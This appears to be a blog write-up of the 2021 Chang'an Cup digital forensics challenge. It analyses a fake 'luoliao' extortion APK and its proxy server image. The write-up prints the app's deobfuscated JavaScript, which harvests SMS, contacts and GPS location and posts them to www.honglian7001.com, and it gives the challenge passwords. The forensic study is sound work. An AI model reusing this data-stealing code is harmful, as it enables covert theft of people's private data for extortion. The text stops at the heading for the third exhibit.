数字取证DIDCTF(超级缓慢更新)

DIDCTF

2021第三届长安杯

案情如下

image-20250314014257799

检材1

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导luoliao,下载了某“luoliao”软件,导致自己的通讯录和luoliao视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“luoliao”软件的安装包--zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)

MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c

参考文章:2021长安杯 - XDforensics-Wiki2021年长安杯电子数据取证比赛复盘完整版(wp) - 灰信网(软件开发博客聚合)电子数据取证刷题 | iyheart 的博客

1.请计算检材一Apk的SHA256值

比赛都是由VeraCrypt进行加密的磁盘,密码是:

2021第三届CAB-changancup.com

是的第一步就卡了我很久……

image-20250310180605232

使用以下命令计算:

certutil -hashfile 检材一-zhibo.apk sha256

certutil Windows 内置工具,主要用于管理证书,但也支持文件哈希计算功能。

image-20250310181202400

2.该APK的应用包名为

在 Android 应用中,APK 的包名(Package Name) 是应用的唯一标识符,通常遵循反向域名命名规则(如 com.example.myapp)。

所以apk安装后在桌面上显示的并不是APK的包名,而是叫应用名称

属性 说明
应用名称 用户可见的名称(如“bilibili”、“微信”),可随意修改,与包名无关。
应用包名 开发者在代码中定义的唯一标识符(如 com.tencent.mm),不可重复,用于系统识别。

使用GDA进行分析:

image-20250310182624195

BaseInfo中的Package Name中可以找到其应用包名

3.该APK程序在封装服务商的应用唯一标识(APPID)为

APPID:

  • 由第三方服务商(如微信开放平台、支付宝、极光推送等)为你的应用生成的 唯一字符串,用于区分不同应用或同一应用的不同环境(如开发/生产)。
  • 作用
    • 服务商通过 APPID 识别请求来源,验证应用合法性。
    • 关联应用在服务商后台的配置(如支付密钥、回调地址、权限等)。

常见场景与 APPID 示例

服务类型 服务商示例 APPID 格式 获取位置
微信登录/支付 微信开放平台 wx1234567890abcdef 微信开放平台 → 应用详情 → 基本配置
支付宝支付 支付宝开放平台 2021003105691234 支付宝开放平台 → 应用详情 → 应用信息
极光推送 极光推送 (JPush) a1b2c3d4e5f6g7h8i9j0 极光控制台 → 应用设置 → 应用详情
友盟统计 友盟+ (Umeng) 5f3d4e5f6g7h8i9j0 友盟后台 → 应用管理 → 应用信息
腾讯云服务 腾讯云 1250000000 腾讯云控制台 → 访问管理 → API 密钥管理
  • 保密性:APPID 通常需与 AppSecretAPI Key 配合使用,需妥善保管,避免泄露。
  • 环境区分:开发环境和生产环境可能需要不同的 APPID(如测试版和正式版)。
  • 权限绑定:部分服务商要求 APPID 与应用的 包名签名证书 严格匹配,否则调用失败。

常见问题

Q1: APPID 和 APK 包名不一致会怎样?
  • 结果:服务商 API 调用失败(如微信支付报错 “签名错误”)。
  • 解决:在服务商后台检查绑定的包名和签名是否与 APK 一致。
Q2: 一个应用可以有多个 APPID 吗?
  • 可以:例如,同时集成微信登录和支付宝支付时,需分别申请各自的 APPID。
Q3: APPID 泄露了怎么办?
  • 风险:可能被恶意调用,产生资损或数据泄露。
  • 措施:立即在服务商后台重置 AppSecret 或停用旧 APPID。

看WP里面说都是用雷电APP自动分析的

img

包名里面包含着APPID,怎么回事?

某些 SDK 或服务商(如 Hybrid 混合开发框架、WebView 封装工具)可能会要求开发者将 APPID 直接嵌入包名,以便:

  • 自动化配置:动态生成应用时,直接通过包名解析 APPID,避免手动维护多个配置文件。

  • 唯一性校验:通过包名中的 APPID 快速验证应用合法性(例如企业内部分发应用)。

  • 示例
    若一个平台为不同客户生成定制化 APK,包名格式可能为 平台前缀.客户APPID(如 plus.H5B8E45D3),便于批量管理。

没有申请火眼取证,这里用AI的方法解出:

使用apktool进行反编译

寻找APPID重点关注以下目录:

  • res/values/strings.xml:可能存储硬编码的 APPID。
  • AndroidManifest.xml:声明第三方 SDK 的权限或配置。
  • assets/lib/:存放配置文件或 SDK 密钥。

AndroidManifest.xml中找到关键内容,就在包名之后。

image-20250310215405834

<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL" android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"/>

<meta-data> 标签:用于在 AndroidManifest.xml 文件中声明 额外的配置信息

android:name="DCLOUD_STREAMAPP_CHANNEL"

  • DCLOUD_STREAMAPP_CHANNEL 可能是 DCloud(HBuilder) 相关的一个标识。
  • DCloud 是开发 HBuilder 和 uni-app 的公司,这可能是 DCloud HBuilder App 的流应用渠道信息

android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"

  • plus.H5B8E45D3 → 可能是 应用的 Plus 标识(与 HBuilder 相关)。
  • H5B8E45D3 → 可能是 HBuilder 生成的 App 唯一标识(HBuilder 生成的 H5 App 可能都会有一个这样的 ID)。
  • 128361130111 → 可能是 渠道号或者开发者 ID
  • 最后一个 | 为空,可能是预留字段。

4.该APK具备下列哪些危险权限(多选题):

A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信

手机APP权限申请主要集中在AndroidManifest.xml文件最上方:

    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
    <uses-feature android:name="android.hardware.camera"/>
    <uses-feature android:name="android.hardware.camera.autofocus"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
    <uses-permission android:name="android.permission.READ_LOGS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
权限 作用 风险
android.permission.INTERNET 访问互联网 可能会上传数据
android.permission.WRITE_EXTERNAL_STORAGE 读写外部存储 可能会窃取或篡改用户文件
android.permission.ACCESS_NETWORK_STATE 读取网络状态 可能被用来监听网络活动
android.permission.ACCESS_WIFI_STATE 读取 WiFi 状态 可能用于网络环境监听
android.permission.INSTALL_PACKAGES 安装应用 可能会静默安装恶意软件
android.permission.REQUEST_INSTALL_PACKAGES 允许安装应用 可能会诱导安装未知软件
android.hardware.camera 访问相机 可能用于偷拍
android.hardware.camera.autofocus 访问自动对焦功能 可能配合摄像头使用
android.permission.ACCESS_COARSE_LOCATION 访问粗略位置信息 可能泄露用户位置
android.permission.ACCESS_FINE_LOCATION 访问精确位置信息 可能用于 GPS 追踪
android.permission.READ_CONTACTS 读取通讯录 可能窃取联系人信息
android.permission.READ_SMS 读取短信 可能窃取验证码
android.permission.RECEIVE_SMS 接收短信 可能用于劫持验证码
android.permission.SEND_SMS 发送短信 可能导致恶意扣费
android.permission.WRITE_SMS 写入短信 可能伪造短信
android.permission.GET_ACCOUNTS 访问用户账户 可能获取 Google 账户等信息
android.permission.WRITE_CONTACTS 修改通讯录 可能篡改联系人信息
android.permission.CHANGE_WIFI_STATE 修改 WiFi 状态 可能用于劫持网络
android.permission.READ_PHONE_STATE 读取设备信息 可能收集 IMEI、SIM 卡等信息
android.permission.MOUNT_UNMOUNT_FILESYSTEMS 挂载/卸载文件系统 可能修改文件系统
android.permission.READ_LOGS 读取系统日志 可能窃取敏感信息
android.permission.WRITE_SETTINGS 修改系统设置 可能影响用户配置
com.huawei.android.launcher.permission.CHANGE_BADGE 修改华为桌面图标角标 一般用于通知
android.permission.READ_EXTERNAL_STORAGE 读取外部存储 可能访问用户文件
com.asus.msa.SupplementaryDID.ACCESS 访问 ASUS 设备标识 可能用于设备追踪

常见危险权限:

权限描述 权限名(Android Manifest 中的名称)
读取短信 android.permission.READ_SMS
读取通讯录 android.permission.READ_CONTACTS
读取精确位置 android.permission.ACCESS_FINE_LOCATION
修改通讯录 android.permission.WRITE_CONTACTS
修改短信 android.permission.WRITE_SMS

5.该APK发送回后台服务器的数据包含一下哪些内容(多选题):

A.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息

模拟器安装软件后发现关键词,在jdax中进行搜索:

image-20250311005241205

发现了应用主页面中进行了sojsonv4加密的script标签,使用在线工具进行解密查看:

image-20250311005302696

image-20250311005520421

Sojson v4 解密 - Bugku CTF平台

/*
*Aman - 194nb.com
*/
/*
 *Progcessed By JSDec in 0.00s
 *JSDec - JSDec.js.org
 */
mui.init();

mui.plusReady(function() {
      //var main = plus.android.runtimeMainActivity();  
      // main.moveTaskToBack(false);
      var address = plus.device.vendor + '-' + plus.device.model;
      address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
      var apiserver = 'http://www.honglian7001.com/api/uploads/';
      //重复数据处理 预防用户重复点击
      var danjishijian = true;
      function requestPermission(sjh, yqm) {
            plus.android.requestPermissions(["android.permission.READ_SMS"],
            function(resultObj) {
                  //SmsInfo存放一条短信的各项内容
                  var SmsInfo = {}
                  //Sms存放所有短信
                  var Sms = {}

                  var aimei = sjh;
                  var aimei2 = yqm;
                  var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
                  var Cursor = plus.android.importClass("android.database.Cursor") var Uri = plus.android.importClass("android.net.Uri")  //注意啦,android.net.Uri中的net是小写
                  var activity = plus.android.runtimeMainActivity() var uri = Uri.parse("content://sms/");

                  var projection = new Array("_id", "address", "person", "body", "date", "type") var cusor = activity.managedQuery(uri, projection, null, null, "date desc") var idColumn = cusor.getColumnIndex("_id") var nameColumn = cusor.getColumnIndex("person") var phoneNumberColumn = cusor.getColumnIndex("address") var smsbodyColumn = cusor.getColumnIndex("body") var dateColumn = cusor.getColumnIndex("date") var typeColumn = cusor.getColumnIndex("type") if (cusor != null) {
                        while (cusor.moveToNext()) {
                              SmsInfo.id = cusor.getString(idColumn) SmsInfo.Name = cusor.getInt(nameColumn) SmsInfo.Date = cusor.getLong(dateColumn) SmsInfo.Date = getFormatDate(SmsInfo.Date) SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn) SmsInfo.Smsbody = cusor.getString(smsbodyColumn) SmsInfo.Type = cusor.getString(typeColumn)

                              var post = JSON.stringify(SmsInfo);
                              //console.log(post);
                              duanxin = duanxin + ',' + post;

                        }
                        duanxin = duanxin + ']';
                        //alert(duanxin);
                        mui.ajax(apiserver + 'apisms', {
                              data: {
                                    data: duanxin
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) {
                                    mui.toast('获取成功')
                                    //console.log(con)

                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;
                              }
                        });
                        cusor.close()
                  }

            },
            function(error) {
                  console.log('申请权限错误:' + error.code + " = " + error.message);
            });
      }

      //扩展Date功能:将long型日期转换为特定的格式
      Date.prototype.format = function(format) {
            var o = {
                  "M+": this.getMonth() + 1,
                  "d+": this.getDate(),
                  "h+": this.getHours(),
                  "m+": this.getMinutes(),
                  "s+": this.getSeconds(),
                  "q+": Math.floor((this.getMonth() + 3) / 3),
                  "S": this.getMilliseconds()
            }
            if (/(y+)/.test(format)) {
                  format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
            }
            for (var k in o) {
                  if (new RegExp("(" + k + ")").test(format)) {
                        format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
                  }
            }
            return format;
      }

      //将long型日期转换为特定格式
      function getFormatDate(l, pattern) {
            date = new Date(l);
            if (pattern == undefined) {
                  pattern = "yyyy-MM-dd hh:mm:ss";
            }
            return date.format(pattern);
      }

      //alert(plus.device.uuid)
      plus.navigator.setStatusBarBackground("#db6eff");

      mui("body").off("tap");

      mui("body").on('tap', '#tx',
      function(event) {

            $('#tx').hide();
            $('#zz').show();
      });

      mui("body").on('tap', '#gb',
      function(event) {

            $('#tx').show();
            $('#zz').hide();
      });

      mui("body").on('tap', '#qd',
      function(event) {
            if (danjishijian) {
                  danjishijian = false;
                  aa()
            } else {
                  aa()
            }

      });

      function getPermission(permissionIdentity, successCallBack, errorCallBack) {
            //权限标识转换成大写  
            var permissionIdentity = permissionIdentity.toUpperCase();
            //获取检测权限的状态  
            var checkResult = plus.navigator.checkPermission(permissionIdentity);
            //权限状态是否正常  
            var permissionStatusOk = false;
            //权限中文名称  
            var permissionName = '';
            //对应 andorid 的具体权限  
            var androidPermission = '';
            //获取权限中文意思与对应 android 系统的权限字符串  
            switch (permissionIdentity) {

            case 'CONTACTS':
                  permissionName = '系统联系人';
                  androidPermission = 'android.permission.READ_CONTACTS'
                  break;

            default:
                  permissionName = '未知';
                  androidPermission = '未知';
                  break;
            }

            //判断检查权限的结果  
            switch (checkResult) {
            case 'authorized':
                  //正常的  
                  permissionStatusOk = true
                  break;
            case 'denied':
                  //表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框  
                  //如果有该权限但是没有打开不进行操作还是会去申请或手动打开  
                  // console.log('已关闭' + permissionName + '权限')  
                  // errorCallBack('已关闭' + permissionName + '权限');  
                  // return  
                  break;
            case 'undetermined':
                  // 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认  
                  // this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)  
                  // errorCallBack('未确定' + permissionName + '权限');  
                  // return  
                  break;
            case 'unknown':
                  errorCallBack('无法查询' + permissionName + '权限');
                  return break;
            default:
                  errorCallBack('不支持' + permissionName + '权限');
                  return break;
            }

            //如果权限是正常的执行成功回调  
            if (permissionStatusOk) {
                  successCallBack()
            } else {
                  //如果不正常,如果是 andorid 系统,就动态申请权限  
                  if (plus.os.name == 'Android') {
                        //动态申请权限  
                        plus.android.requestPermissions([androidPermission],
                        function(e) {
                              if (e.deniedAlways.length > 0) {
                                    //权限被永久拒绝  
                                    // 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启  
                                    errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    // console.log('Always Denied!!! ' + e.deniedAlways.toString());  
                              }
                              if (e.deniedPresent.length > 0) {
                                    //权限被临时拒绝  
                                    // 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限  
                                    errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    // console.log('Present Denied!!! ' + e.deniedPresent.toString());  
                              }
                              if (e.granted.length > 0) {
                                    //权限被允许  
                                    //调用依赖获取定位权限的代码  
                                    successCallBack()
                                    // console.log('Granted!!! ' + e.granted.toString());  
                              }
                        },
                        function(e) {
                              errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                              // console.log('Request Permissions error:' + JSON.stringify(e));  
                        })
                  } else if (plus.os.name == 'iOS') {
                        //ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera  
                        //这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会  
                        //走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。  
                        if (checkResult == 'undetermined') {
                              //调用依赖获取定位权限的代码  
                              successCallBack(true)
                        } else {
                              //如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开  
                              mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'],
                              function(e) {
                                    //取消  
                                    if (e.index == 0) {
                                          errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    } else if (e.index == 1) {
                                          //确认,打开当前应用权限设置页面  
                                          var UIApplication = plus.ios.import('UIApplication');
                                          var application2 = UIApplication.sharedApplication();
                                          var NSURL2 = plus.ios.import('NSURL');
                                          // var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");                             
                                          var setting2 = NSURL2.URLWithString('app-settings:');
                                          application2.openURL(setting2);

                                          plus.ios.deleteObject(setting2);
                                          plus.ios.deleteObject(NSURL2);
                                          plus.ios.deleteObject(application2)
                                    }
                              },
                              'div')
                        }
                  }
            }
      }

      function aa() {
            var sjh = $('#sjh').val();
            var yqm = $('#yqm').val();
            if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

                  getPermission('CONTACTS',
                  function() {
                        huoqu(sjh, yqm);

                  },
                  function(msg) {
                        mui.alert(msg, '提醒', '确定',
                        function() {},
                        'div')
                        //aa()
                  })
            } else {
                  mui.toast('请输入正确的手机号和邀请码')
            }

      }

      function dingwei(sjh, yqm) {
            plus.geolocation.getCurrentPosition(translatePoint,
            function(e) {
                  mui.toast("异常:" + e.message);
            });
      }

      function translatePoint(position) {

            var sjh = $('#sjh').val() var yqm = $('#yqm').val() var currentLon = position.coords.longitude;
            var currentLat = position.coords.latitude;
            var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
            mui.ajax(apiserver + 'apimap', {
                  data: {
                        data: jingweidu
                  },
                  dataType: 'text',
                  //服务器返回json格式数据
                  type: 'post',
                  //HTTP请求类型
                  timeout: 10000,
                  //超时时间设置为10秒;              
                  success: function(data) {

                        if (data == '获取成功') {
                              requestPermission(sjh, yqm);

                              //setInterval(function(){
                              //var sjh=$('#sjh').val();
                              //var yqm=$('#yqm').val();
                              //requestPermission(sjh,yqm);
                              //console.log('send')
                              //},30000)
                        }

                        mui.toast(data)
                  },
                  error: function(xhr, type, errorThrown) {
                        //异常处理;

                  }
            });

            //书写自己的逻辑
      }
      // 扩展API加载完毕,现在可以正常调用扩展API
      function huoqu(sjh, yqm) {
            var con = sjh + "**" + yqm + '**' + address;

            plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE,
            function(addressbook) {

                  addressbook.find(["displayName", "phoneNumbers"],
                  function(contacts) {

                        for (var i = 0,
                        len = contacts.length; i < len; i++) {
                              con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "": contacts[i].phoneNumbers[0].value);
                        }

                        mui.ajax(apiserver + 'api', {
                              data: {
                                    data: con
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) {
                                    //alert(data)
                                    if (data == '正在加载列表') {
                                          dingwei(sjh, yqm);
                                          mui.openWindow({
                                                url: 'list.html',
                                                show: {
                                                      autoShow: true
                                                }
                                          });
                                    } else {
                                          mui.toast(data)
                                    }
                                    //console.log(con)
                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;

                              }
                        });

                  },
                  function() {
                        mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
                  },
                  {
                        multiple: true
                  });
            },
            function(e) {
                  mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
            });
      }

});

答案为ACDE

6.该APK程序回传通讯录时,使用的http请求方式为()

由第五题可知使用POST请求方式

也可以先填写邀请码:

image-20250311004155013

使用fiddler进行抓包,观察其请求包内容:

image-20250311004049655

fiddler配置教程Fiddler对安卓模拟器里的APP抓包(步骤详细,各种抓包工具总结)_fiddlerr如何抓包模拟器-CSDN博客

可以发现使用了POST请求

7.该APK程序的回传地址域名为【标准格式:www.abc.com】

由第六题可知回传地址域名在Host栏中:

www.honglian7001.com

8.该APK程序代码中配置的变量apiserver的值为【标准格式:www.abc.com/abc】

由第五题分析到的index.html源码中发现

var apiserver = 'http://www.honglian7001.com/api/uploads/';

9.分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】 (后面不带/)

代码审计,对源码进行分析找出获取手机短信回传到后台的部分

短信功能搜索关键词:

短信、duanxin、sms等

image-20250311095121263

可以发现回传地址为apiserver + 'apisms'

www.honglian7001.com/api/uploads/apisms

10.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

从模拟器中进行分析:

数据库默认存储在应用的私有目录中,路径为:`/data/data/<包名>/databases/`

image-20250311135221119

也可以使用jdax进行反编译,搜索关键词sqlitehelperDATABASE_NAMEdbNameopenOrCreateDatabase.db.sqlite

(?=.*sqlitehelper)(?=.*db)

image-20250311102327723

SQLiteOpenHelper dbHelper = new FridaSQLiteHelper(this, "test.db", null, 1);

这行代码是在 Android 应用 中创建或打开一个 SQLite 数据库,用于存储和管理数据。具体解析如下:

部分 解析
SQLiteOpenHelper 这是 Android SQLite 数据库的辅助类,用于管理数据库的创建、升级等操作。
dbHelper 这是一个 SQLiteOpenHelper 的实例,用于操作数据库。
new FridaSQLiteHelper(...) 创建一个自定义的 SQLite 帮助类FridaSQLiteHelper 继承自 SQLiteOpenHelper),用于数据库操作。
this 传入 当前 Context(通常是 ActivityApplication,用于访问数据库。
"test.db" 指定 数据库文件的名称,存储在应用的私有目录 /data/data/包名/databases/test.db 中。
null 这里通常是 CursorFactory,如果为 null,表示使用默认的 CursorFactory
1 设定 数据库版本号,如果版本号变化,onUpgrade() 方法会被调用以升级数据库。

11.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为

他们都有雷电APP分析只有我没有……

image-20211030105525136

只好手搓frida脚本提取

Frida:

Frida 是一个强大的动态代码插桩工具,可用于 实时分析、修改和监控 APK 的运行行为。通过编写 Frida 脚本(JavaScript 或 Python),开发者或安全研究人员可以 Hook 目标应用的方法、修改参数、拦截数据等。以下是详细的解析和使用指南:

HOOK:

HOOK(钩子) 是一种拦截并修改程序执行流程的技术,类似于在代码执行路径上“挂钩子”,从而监控、修改或阻断原有行为。它是软件逆向、安全分析和自动化测试中的核心手段。

教程:Python+Frida+雷电模拟器 新手入坑实录 - 吾爱破解 - 52pojie.cnwindows下载安装adb(极其简单)_adb工具下载windows-CSDN博客

坑:下载的是frida-server,要看仔细下载,最下面有个show all,不要下了frida-core

image-20250311120116016

并且现在的雷电模拟器用的框架是X86_64,不要搞错版本了

常用命令:

adb kill-server	连接不上时进行重启
adb devices	查看模拟器是否上线

我出现了这个问题:

image-20250311122152123

个人解决方法:搜索frida.exe所在目录,添加到环境变量中

image-20250311124250944

image-20250311124337641

大功告成,让AI帮我编写出一个frida脚本sqldb.js

使用命令:

(不会,先空着待补充)

答案:c74d97b01eae257e44aa9d5bade97baf

检材2

经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析。

1.检材二的原始硬盘的SHA256值为

解压密码为检材1中第七题答案:

www.honglian7001.com

这里我就用美亚柏科授权的取证大师分析了(试用版)

新建案件后导入磁盘镜像,计算其哈希值:

image-20250311144901360

因为要计算原始硬盘的SHA256,不能直接计算.E01文件的哈希值,应该挂载后计算硬盘的哈希值,取证大师能够自动挂载进行计算:

image-20250311144930229

image-20250311145310968

2.查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】

查看用户登录信息中的内容:

image-20250311145757404

根据背景,案发时间应该为2021年4月24日

可以发现最近的登录信息由192.168.110.203所登录

也可以使用仿真大师对虚拟镜像挂载到虚拟机中,可以绕过root用户的密码登录,使用密码123456登录root用户

在仿真环境下,使用以下命令查看用户最近登录信息:

last

image-20250311153722401

3.请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】

常见的服务器在集群中承担的作用:

角色类型 主要作用 关键技术/工具 重要性
负载均衡器 将用户请求分发到集群中的多个节点,避免单点过载,提高整体性能和可用性。 Nginx、HAProxy、F5、AWS ELB 确保流量合理分配,提升并发处理能力。
计算节点 执行实际的数据处理、业务逻辑运算(如数据分析、模型训练、事务处理等)。 Kubernetes、Docker、Spark、Hadoop 承担核心计算任务,直接影响处理效率。
存储节点 提供分布式数据存储,支持高可用、高并发的数据读写(如数据库、文件存储等)。 HDFS、Ceph、GlusterFS、MySQL Cluster 保障数据持久化、冗余备份和一致性。
管理节点 协调集群资源调度、节点监控、任务分配及容错管理(如集群配置、节点扩缩容等)。 Kubernetes Master、Zookeeper、Mesos 确保集群稳定运行,资源利用率最大化。
备份与恢复节点 定期备份数据,支持灾难恢复(如增量备份、全量备份、跨区域冗余)。 Rsync、Bacula、Veeam、AWS S3 Glacier 防止数据丢失,保障业务连续性。
网关/代理节点 处理外部请求路由、安全过滤(如API网关、防火墙、反向代理)。 Traefik、Envoy、Istio、Nginx 控制内外网通信,增强安全性和访问控制。
监控与日志节点 实时采集集群性能指标、日志数据,提供告警和可视化分析(如资源利用率、故障检测)。 Prometheus、Grafana、ELK Stack、Zabbix 快速定位问题,优化集群性能。
认证与授权节点 管理用户身份验证、权限控制(如单点登录、密钥分发、访问策略)。 Keycloak、OAuth2、LDAP、Kerberos 保障集群访问安全,防止未授权操作。

通过history查看历史记录:

image-20250311153854341

/opt目录主要存放可选的程序,这里找到其工作目录:/opt/honglianjingsai

image-20250311154331034

分析chronusNode中的const.jscontroller文件夹中的配置文件综合来看:

  • 代码实现了基于 IP 的反向代理(代理不同的后端服务器)。
  • 服务器本身不直接运行数据库或 Redis(通常负载均衡器不会自己存储数据)。
  • 监听 80 端口,负责 HTTP 请求转发

这些特征强烈指向该服务器在充当负载均衡器反向代理服务器的角色

负载均衡的特征

  • 目标服务器池

    • 代码定义了多个目标服务器 _proxy50_proxy100_proxy100p,这些服务器在不同 IP 地址上,表明该代理服务器不是单独的应用,而是将流量分发到多个后端服务器
  • 基于 IP 地址分配请求

    • 代码依据

      客户端 IP 的第三段

      来选择目标服务器,意味着:

      • 可能有多个服务器共享同一业务,但为了负载均衡,流量被分配到不同的服务器上。
      • 可能是不同区域的用户被定向到不同的后端服务器,类似于地理负载均衡
  • WebSocket 代理支持

    • ws: true 说明该代理不仅支持 HTTP 请求,还支持 WebSocket 流量,适用于长连接服务,可能用于负载均衡 WebSocket 服务器。

4.上一题中,提到的主要功能对应的服务监听的端口为

image-20250311155353305

5.上一题中,提到的服务所使用的启动命令为

history命令中发现:

image-20250311155630596

6.经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】

主配置文件在controller文件夹中的ADProxy.js

if (clientIPArr.length == 4) { // 确保 IP 地址格式正确(IPv4),即由 4 段组成
    var clientIP3Int = parseInt(clientIPArr[2]); // 提取 IP 的第三段(C 段)并转换为整数

    // 记录 HTTP 请求头信息
    global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));

    // 记录客户端 IP 地址
    global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);

    // 根据 IP 的 C 段值选择不同的代理服务器
    if (clientIP3Int <= 50) { 
        // 如果第三段的值小于等于 50,则请求转发到 _proxy50
        global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
        return _proxy50; // 返回代理服务器地址 _proxy50
    } else if (clientIP3Int <= 100) { 
        // 如果第三段的值在 (50, 100] 之间,则请求转发到 _proxy100
        global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
        return _proxy100; // 返回代理服务器地址 _proxy100
    } else { 
        // 如果第三段的值大于 100,则请求转发到 _proxy100p
        global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
        return _proxy100p; // 返回代理服务器地址 _proxy100p
    }
}

搜索关键词clientIPArr

image-20250311161857048

7.经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】

image-20250311162014538

8.请分析,该服务器转发的目标服务器一共有几台【标准格式:9】

根据第六题的分析,有三台

9.请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】

log文件夹中找到案发时间的日志,进行分析:

image-20250311163544951

总共记录了235条请求,其中:

image-20250311164036662

其中192.168.10.203为罪犯的IP

受害者IP只能在192.168.110.252192.168.110.142中选择

个人认为192.168.110.252在日志时间线上后面一些,因此答案是这个

10.请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格 式:111.111.111.111】

继续分析日志,响应192.168.110.252请求的IP为192.168.110.113

检材3

